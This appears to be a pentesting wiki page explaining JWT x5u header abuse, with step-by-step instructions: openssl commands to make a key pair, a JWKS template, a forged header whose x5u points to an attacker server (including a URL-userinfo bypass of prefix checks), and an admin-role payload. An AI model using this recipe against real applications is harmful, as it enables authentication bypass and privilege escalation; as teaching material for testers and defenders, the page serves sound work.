Skip to main content

x5u Header Abuse

Misuse of the x5u (X.509 URL) header in JWT can allow an attacker to forge valid tokens and escalate privileges (e.g., become admin). JWT supports referencing a certificate or key material via a URL in the header (x5u).

warning

If the application blindly trusts this URL, authentication can be bypassed.

What is x5u?

x5u is a JWT header parameter. It points to a remote resource containing an X.509 certificate or key material (often structured similarly to a JWKS file). The application downloads the public key from this URL to verify the token signature.

Example JWT header:

{
"alg": "RS256",
"typ": "JWT",
"x5u": "https://example.com/jwks.json"
}

Root Cause

The application:

  • Accepts an x5u URL from the token.
  • Fetches the public key or certificate from that URL.
  • Uses it to verify the JWT signature.
info

If validation is in place and only checks whether the URL starts with a trusted domain (instead of strictly validating the hostname), the restriction can be bypassed. Using https://trusted.com@attacker-ip/jwks.json

Attack Flow

To exploit this issue, we can following steps:

  1. Generate your own RSA key pair (for example, using jwt_tool, OpenSSL or BurpSuite) like so:
openssl req -newkey rsa:2048 -nodes -keyout private.pem -x509 -days 365 -out hacker.crt -subj "/C=AU/ST=Victoria/L=Melbourne/O=PentesterLab/CN=hacker"
  1. Then convert it to DER and base64 encode it:
openssl x509 -in hacker.crt -outform der | base64 -w 0
  1. Create a JWK/JWKS file containing your public key and paste x5c value (from step 2):
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "rezydev",
"x5c": "<BASE64_CERTIFICATE_PEM>",
"alg": "RS256"
}
]
}
  1. Host this JWKS file on a server we control.
  2. Change JWT Header with following values:
{
"typ": "JWT",
"alg": "RS256",
"x5u": "http://example.com@129.154.241.42:5959/jwks.json"
}
  1. Change payload (e.g., "role": "admin" or set "username": "admin") and then sign the token with generated private key.
  2. Application verifies using your public key → access granted.
info

If the application caches the JWK response, changing the key requires modifying the URL (for example, adding a query parameter) or changing file name from jwks.json to jwks1.json and so on..